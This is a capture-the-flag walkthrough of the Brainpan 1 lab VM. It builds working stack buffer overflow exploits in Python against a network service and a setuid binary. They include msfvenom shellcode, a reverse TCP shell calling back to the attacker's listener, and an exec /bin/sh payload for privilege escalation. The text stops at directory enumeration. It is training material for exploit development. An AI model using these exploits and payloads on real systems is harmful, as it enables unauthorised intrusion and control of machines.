Brainpan: 1 Walkthrough

The next VM that I decided to tackle was Brainpan 1 by superkojiman, as Brainpan 3 just came out.

First things first, I ran netdiscover to get the IP of the target machine.

root@kali:~# netdiscover -i eth0 -r 172.16.119.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts        
                                                                              
 4 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 240   
 ________________________________________________________________
    IP            At MAC Address      Count  Len   MAC Vendor    
 ----------------------------------------------------------------
 172.16.119.1    00:50:56:c0:00:01    02    120   VMWare, Inc.       
 172.16.119.139  00:0c:29:3a:cf:4b    01    060   VMware, Inc.       
 172.16.119.254  00:50:56:f1:01:f8    01    060   VMWare, Inc.       

Next was a quick Nmap scan to determine the attack surface.

root@kali:~# nmap -sT -sV -O 172.16.119.139

Starting Nmap 6.47 ( http://nmap.org ) at 2015-08-03 08:57 EDT
Nmap scan report for 172.16.119.139
Host is up (0.00036s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
SF-Port9999-TCP:V=6.47%I=7%D=8/3%Time=55BF6567%P=x86_64-unknown-linux-gnu%
SF:r(NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\
SF:|_\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\
SF:x20\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_
SF:\|\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_
SF:\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x
SF:20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x
SF:20\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\
SF:x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x
SF:20\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINP
SF:AN\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENT
SF:ER\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:n\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 00:0C:29:3A:CF:4B (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.84 seconds

I decided to check what was running on port 9999 before the HTTP server, but it looked to just be some sort of password protected area.

root@kali:~# telnet 172.16.119.139 9999
Trying 172.16.119.139...
Connected to 172.16.119.139.
Escape character is '^]'.
_|                            _|                                       
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_| 
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                         
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                             

                          >> password
                          ACCESS DENIED
Connection closed by foreign host.

The home page didn't seem to be terribly useful either though, as it was just an image about vulnerabilities and protection.

Dirbuster proved a little more useful though, as it found a /bin directory with an executable in it.

Upon download, it appeared that this was the same application as the one running on the remote server.

Able to run the server locally, I decided to whip up a quick Python script to send my requests to the server.

import socket
host = "127.0.0.1"
port = 9999

payload = "password"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)
s.send(payload)
print s.recv(1024)

I was indeed able to send requests to the server, and view the responses. Additionally, it made mention of get_reply copying the password to a buffer, so I figured this would be my point of attack for a buffer overflow.

c:\>brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
[+] received connection.
[get_reply] s = [password]
[get_reply] copied 8 bytes to buffer
[+] check is -1
[get_reply] s = [password]
[get_reply] copied 8 bytes to buffer

Next up was to change my Python script to try and overflow the get_reply buffer.

import socket
host = "127.0.0.1"
port = 9999

payload = "A" * 1000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
print s.recv(1024)
s.send(payload)
print s.recv(1024)

This seemed to work and ended up corrupting the buffer as expected.

[+] received connection.
[get_reply] s = [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH (]
[get_reply] copied 1003 bytes to buffer

Additionally, I got a crash and was able to overwrite EIP with 0x41414141, so I knew I was on the right track.


As a side note, I actually managed to find the password for the executable during my debugging process, which would hopefully make things go even quicker.

Unfortunately, this password didn't actually seem to unlock any functionality or command execution, so it was just a worthless rabbit hole.

C:\netcat-1.11>nc.exe 127.0.0.1 9999
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD

                          >> shitstorm
                          ACCESS GRANTED

The next step for me was to find the actual size of the buffer that I was overwriting, so I updated my python script with a cyclical pattern.

import socket
host = "127.0.0.1"
port = 9999

payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
print s.recv(1024)
s.send(payload)
print s.recv(1024)

With my script updated, I was again able to get the program to crash with control over EIP.

A quick check gave me an offset of 524, so it was time to modify my exploit.

root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 35724134 1000
[*] Exact match at offset 524

I just wanted to verify that the offset was correct before proceeding, so I updated the buffer and put 'BBBB' where I expected EIP to be.

import socket
host = "127.0.0.1"
port = 9999

payload = "A" * 524
payload += "BBBB"
payload += "C" * 200

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
print s.recv(1024)
s.send(payload)
print s.recv(1024)

As expected, EIP was overwritten with 0x424242, so I had full control of the instruction pointer.

I was also able to find a JMP ESP in the actual brainpan.exe, which made my life even easier.

With everything in place (and my win-exec-calc shellcode), it was time to modify my exploit

import socket
host = "127.0.0.1"
port = 9999

# win-exec-calc
shellcode = ("\x31\xc9\x49\x31\xd2\xe3\x47\x52\x68\x63\x61\x6c\x63\x89\xe6" + "\x52\x56\x64\x8b\x72\x30\x8b\x76\x0c\x8b\x76\x0c\xad\x8b\x30" +
"\x8b\x7e\x18\x8b\x5f\x3c\x8b\x5c\x1f\x78\x8b\x74\x1f\x20\x01" +
"\xfe\x8b\x4c\x1f\x24\x01\xf9\x0f\xb7\x2c\x51\x42\xad\x81\x3c" +
"\x07\x57\x69\x6e\x45\x75\xf1\x8b\x74\x1f\x1c\x01\xfe\x03\x3c" +
"\xae\xff\xd7\x6a\x60\x5a\x68\x63\x61\x6c\x63\x54\x59\x48\x83" +
"\xec\x28\x65\x48\x8b\x32\x48\x8b\x76\x18\x48\x8b\x76\x10\x48" +
"\xad\x48\x8b\x30\x48\x8b\x7e\x30\x03\x57\x3c\x8b\x5c\x17\x28" +
"\x8b\x74\x1f\x20\x48\x01\xfe\x8b\x54\x1f\x24\x0f\xb7\x2c\x17" +
"\x8d\x52\x02\xad\x81\x3c\x07\x57\x69\x6e\x45\x75\xef\x8b\x74" +
"\x1f\x1c\x48\x01\xfe\x8b\x34\xae\x48\x01\xf7\x99\xff\xd7")

payload = "A" * 524
payload += "\xF3\x12\x17\x31"
payload += "\x90" * 16
payload += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
print s.recv(1024)
s.send(payload)
print s.recv(1024)

Once everything was setup and run, I was able to get the program to crash and open calc.exe, so I knew everything was working.

Heading back over to the vulnerable machine though, I knew I would need to use an updated shellcode. Knowing that, I fired up msfvenom to grab a reverse TCP shell, and updated my exploit.

root@kali:~/Downloads# msfvenom -p linux/x86/shell_reverse_tcp lhost=172.16.119.128 lport=4444 -f python -b '\x00\x0a\x0d'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
import socket
host = "172.16.119.139"
port = 9999

buf =  ""
buf += "\xba\x26\x49\xd3\x45\xda\xc9\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x12\x31\x50\x12\x83\xe8\xfc\x03\x76\x47\x31"
buf += "\xb0\x47\x8c\x42\xd8\xf4\x71\xfe\x75\xf8\xfc\xe1\x3a"
buf += "\x9a\x33\x61\xa9\x3b\x7c\x5d\x03\x3b\x35\xdb\x62\x53"
buf += "\x6a\x0b\xe2\x23\x1a\x2e\x0c\x32\x87\xa7\xed\x84\x51"
buf += "\xe8\xbc\xb7\x2e\x0b\xb6\xd6\x9c\x8c\x9a\x70\x30\xa2"
buf += "\x69\xe8\x26\x93\xef\x81\xd8\x62\x0c\x03\x76\xfc\x32"
buf += "\x13\x73\x33\x34"

payload = "A" * 524
payload += "\xF3\x12\x17\x31"
payload += "\x90" * 48
payload += buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)
s.send(payload)
print s.recv(1024)

Once the exploit was prepared, I started my netcat listener, and grabbed the reverse shell.

root@kali:~# nc -l -vv -p 4444
listening on [any] 4444 ...
172.16.119.139: inverse host lookup failed: Unknown server error : Connection timed out
connect to [172.16.119.128] from (UNKNOWN) [172.16.119.139] 48612
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
python -c 'import pty; pty.spawn("/bin/bash");'
puck@brainpan:/home/puck$ 

While my current user was only able to run the anansi_util as root, there did appear to be a validate application inside of /usr/local/bin that was setuid for the anansi user.

puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/home/puck$ find / -perm -g=s -o -perm -4000 ! -type l -exec ls -ld {} \; 2>/dev/null
<ind / -perm -g=s -o -perm -4000 ! -type l -exec ls -ld {} \; 2>/dev/null   
-rwsr-xr-x 1 root root 63632 Sep  6  2012 /bin/umount
-rwsr-xr-x 1 root root 31124 Sep  6  2012 /bin/su
-rwsr-xr-x 1 root root 88768 Sep  6  2012 /bin/mount
-rwsr-xr-x 1 root root 30112 Jun 11  2012 /bin/fusermount
-rwsr-xr-x 1 root root 39124 Oct  2  2012 /bin/ping6
-rwsr-xr-x 1 root root 34780 Oct  2  2012 /bin/ping
-rwsr-xr-x 2 root root 115140 Feb 27  2013 /usr/bin/sudo
-rwsr-xr-x 1 root root 60344 Jun 18  2012 /usr/bin/mtr
-rwsr-xr-x 1 root root 30936 Sep  6  2012 /usr/bin/newgrp
-rwsr-xr-x 1 root root 31756 Sep  6  2012 /usr/bin/chsh
-rwsr-xr-x 2 root root 115140 Feb 27  2013 /usr/bin/sudoedit
-rwsr-xr-x 1 root root 40300 Sep  6  2012 /usr/bin/chfn
-rwsr-xr-x 1 root root 14020 Oct  2  2012 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root lpadmin 13672 Dec  4  2012 /usr/bin/lppasswd
-rwsr-xr-x 1 root root 41292 Sep  6  2012 /usr/bin/passwd
-rwsr-xr-x 1 root root 57964 Sep  6  2012 /usr/bin/gpasswd
-rwsr-xr-- 1 root dip 301944 Sep 26  2012 /usr/sbin/pppd
-rwsr-xr-x 1 anansi anansi 8761 Mar  4  2013 /usr/local/bin/validate
-rwsr-xr-- 1 root messagebus 317564 Oct  3  2012 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 248064 Sep  6  2012 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5452 Jun 25  2012 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 9740 Oct  3  2012 /usr/lib/pt_chown

It looked like the validate application took some sort of input and passed it through a validate function, but strings (and GDB) weren't actually located on the vulnerable machine.

puck@brainpan:/home/puck$ cd /usr/local/bin
cd /usr/local/bin
puck@brainpan:/usr/local/bin$ validate
validate
usage validate <input>
puck@brainpan:/usr/local/bin$ strings validate
strings validate
The program 'strings' can be found in the following packages:
* binutils
* binutils-multiarch
Ask your administrator to install one of them

That said, I was able to cause a segfault in the application, so this looked to be another application to exploit.

puck@brainpan:/usr/local/bin$ validate `python -c 'print "A"'`
validate `python -c 'print "A"'`
validating input...passed.
puck@brainpan:/usr/local/bin$ validate `python -c 'print "A"*10000'`
validate `python -c 'print "A"*10000'`
Segmentation fault

I was able to move the application back over to my attack box though, as it would be easier to debug over there.

puck@brainpan:/usr/local/bin$ scp validate root@172.16.119.128:/root/validate
The authenticity of host '172.16.119.128 (172.16.119.128)' can't be established.
ECDSA key fingerprint is 9e:a4:08:7d:97:8b:94:a6:05:84:61:59:89:3a:be:51.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '172.16.119.128' (ECDSA) to the list of known hosts.
root@172.16.119.128's password:

validate                                      100% 8761     8.6KB/s   00:00    

With a similar, simple script, I was indeed able to overflow the buffer as expected and gain control over EIP (0x41414141).

root@kali:~# gdb validate
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/validate...done.
(gdb) r `python brainpan2.py`
Starting program: /root/validate `python brainpan2.py`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf76f9000

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0xffd0c128     -3096280
ecx            0x0     0
edx            0x2711     10001
ebx            0x41414141     1094795585
esp            0xffd0c1a0     0xffd0c1a0
ebp            0x41414141     0x41414141
esi            0x0     0
edi            0x0     0
eip            0x41414141     0x41414141
eflags         0x10282     [ SF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0     0
gs             0x63     99

Unfortunately, there were a number of characters that didn't pass validation, so I was unable to use a cyclical pattern string to easily get the EIP offset. That said, with a bit of binary searching, I was able to get a better idea of where the EIP offset was.

payload = "A"*100
payload += "B"*15
payload += "C"*4
payload += "D"*4
payload += "E"*8
payload += "G"*25
payload += "H"*50
payload += "I"*200

print payload
(gdb) r `python brainpan2.py`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/validate `python brainpan2.py`

Program received signal SIGSEGV, Segmentation fault.
0x44434343 in ?? ()

I updated my script with the expected offset (116 since EIP was overwritten with 3 Bs and then a C), and ran it again to verify that my EIP location was correct.

root@kali:~# cat brainpan2.py
payload = "A"*116
payload += "B"*4
payload += "C"*180

print payload

< ... snip ... >


(gdb) r `python brainpan2.py`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/validate `python brainpan2.py`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

After a bit more debugging, it seemed that I had a bit more control over EAX than ESP, so I would hopefully be able to jump to that instead.


root@kali:~# gdb validate
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/validate...done.
(gdb) r `python brainpan2.py`
Starting program: /root/validate `python brainpan2.py`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf773e000

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax            0xffca47b8     -3520584
ecx            0x0     0
edx            0x12d     301
ebx            0x41414141     1094795585
esp            0xffca4830     0xffca4830
ebp            0x41414141     0x41414141
esi            0x0     0
edi            0x0     0
eip            0x42424242     0x42424242
eflags         0x10286     [ PF SF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0     0
gs             0x63     99
(gdb) x/x $esp
0xffca4830:     0x43434343
(gdb) x/100x $esp
0xffca4830:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4840:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4850:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4860:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4870:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4880:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4890:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca48a0:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca48b0:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca48c0:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca48d0:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca48e0:     0x43434343     0x00000000     0xffca4904     0x080485b0
0xffca48f0:     0x080485a0     0xf774f060     0xffca48fc     0xf775d918
0xffca4900:     0x00000002     0xffca65d8     0xffca65e7     0x00000000
0xffca4910:     0xffca6714     0xffca6727     0xffca675a     0xffca6765
0xffca4920:     0xffca6775     0xffca67c4     0xffca67d6     0xffca6808
0xffca4930:     0xffca6812     0xffca6d33     0xffca6d61     0xffca6daf
0xffca4940:     0xffca6dbd     0xffca6dc8     0xffca6de0     0xffca6e22
0xffca4950:     0xffca6e31     0xffca6e3b     0xffca6e4c     0xffca6e63
0xffca4960:     0xffca6e78     0xffca6e81     0xffca6e94     0xffca6e9f
0xffca4970:     0xffca6ea7     0xffca6ed3     0xffca6ee0     0xffca6f42
0xffca4980:     0xffca6f7f     0xffca6f8c     0xffca6f99     0xffca6fb2
0xffca4990:     0x00000000     0x00000020     0xf773ed00     0x00000021
---Type  to continue, or q  to quit---
0xffca49a0:     0xf773e000     0x00000010     0x0fabfbff     0x00000006
0xffca49b0:     0x00001000     0x00000011     0x00000064     0x00000003
(gdb) x/90x $eax
0xffca47b8:     0x41414141     0x41414141     0x41414141     0x41414141
0xffca47c8:     0x41414141     0x41414141     0x41414141     0x41414141
0xffca47d8:     0x41414141     0x41414141     0x41414141     0x41414141
0xffca47e8:     0x41414141     0x41414141     0x41414141     0x41414141
0xffca47f8:     0x41414141     0x41414141     0x41414141     0x41414141
0xffca4808:     0x41414141     0x41414141     0x41414141     0x41414141
0xffca4818:     0x41414141     0x41414141     0x41414141     0x41414141
0xffca4828:     0x41414141     0x42424242     0x43434343     0x43434343
0xffca4838:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4848:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4858:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4868:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4878:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4888:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca4898:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca48a8:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca48b8:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca48c8:     0x43434343     0x43434343     0x43434343     0x43434343
0xffca48d8:     0x43434343     0x43434343     0x43434343     0x00000000
0xffca48e8:     0xffca4904     0x080485b0     0x080485a0     0xf774f060
0xffca48f8:     0xffca48fc     0xf775d918     0x00000002     0xffca65d8
0xffca4908:     0xffca65e7     0x00000000     0xffca6714     0xffca6727
0xffca4918:     0xffca675a     0xffca6765
(gdb) q
A debugging session is active.

     Inferior 1 [process 9984] will be killed.

Quit anyway? (y or n) y 

Additionally, after scanning the binary for jumps, it appeared that I would only be able to jump to EAX, and not ESP, anyway.

root@kali:~# msfelfscan -j esp validate
[validate] 
root@kali:~# msfelfscan -j eax validate
[validate]
0x080484af call eax
0x0804862b call eax

With all of this in mind, it was time for me to generate a new shellcode (CMD since I was already on the target machine) and update the exploit.

root@kali:~# msfvenom -p linux/x86/exec CMD=/bin/sh -f python -b '\x00\x0a\x0d'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 70 (iteration=0)

< ... snip ... >

root@kali:~# cat brainpan2.py
payload = ""
payload += "\xda\xd1\xd9\x74\x24\xf4\x5f\x31\xc9\xb1\x0b\xbd\xc8"
payload += "\x44\x38\xb5\x31\x6f\x1a\x83\xef\xfc\x03\x6f\x16\xe2"
payload += "\x3d\x2e\x33\xed\x24\xfd\x25\x65\x7b\x61\x23\x92\xeb"
payload += "\x4a\x40\x35\xeb\xfc\x89\xa7\x82\x92\x5c\xc4\x06\x83"
payload += "\x57\x0b\xa6\x53\x47\x69\xcf\x3d\xb8\x1e\x67\xc2\x91"
payload += "\xb3\xfe\x23\xd0\xb4"

payload += "\x90" * (116-70)  # NOPs to fill rest of offset

#payload += "BBBB"

payload += "\xaf\x84\x04\x08"  # call eax

payload += "\x90"*180

print payload

Just to make sure the exploit worked, I ran it on my attacker box one last time and got a shell.

root@kali:~# ./validate `python brainpan2.py`
# id
uid=0(root) gid=0(root) groups=0(root)
# exit

Heading back over to the vulnerable machine, I was indeed able to run the exploit and obtain a shell as the anansi user.

puck@brainpan:/usr/local/bin$ ./validate `python ~/exploit.py`
./validate `python ~/exploit.py`
$ id
id
uid=1002(puck) gid=1002(puck) euid=1001(anansi) groups=1001(anansi),1002(puck)

Remembering the information from before, I headed over to anansi's home directory to check out the anansi_util executable.

$ cd /home/anansi
cd /home/anansi
$ ls -al
ls -al
total 32
drwx------ 4 anansi anansi 4096 Mar  4  2013 .
drwxr-xr-x 5 root   root   4096 Mar  4  2013 ..
-rw------- 1 anansi anansi    0 Mar  5  2013 .bash_history
-rw-r--r-- 1 anansi anansi  220 Mar  4  2013 .bash_logout
-rw-r--r-- 1 anansi anansi 3637 Mar  4  2013 .bashrc
drwx------ 2 anansi anansi 4096 Mar  4  2013 .cache
-rw------- 1 root   root     39 Mar  4  2013 .lesshst
-rw-r--r-- 1 anansi anansi  675 Mar  4  2013 .profile
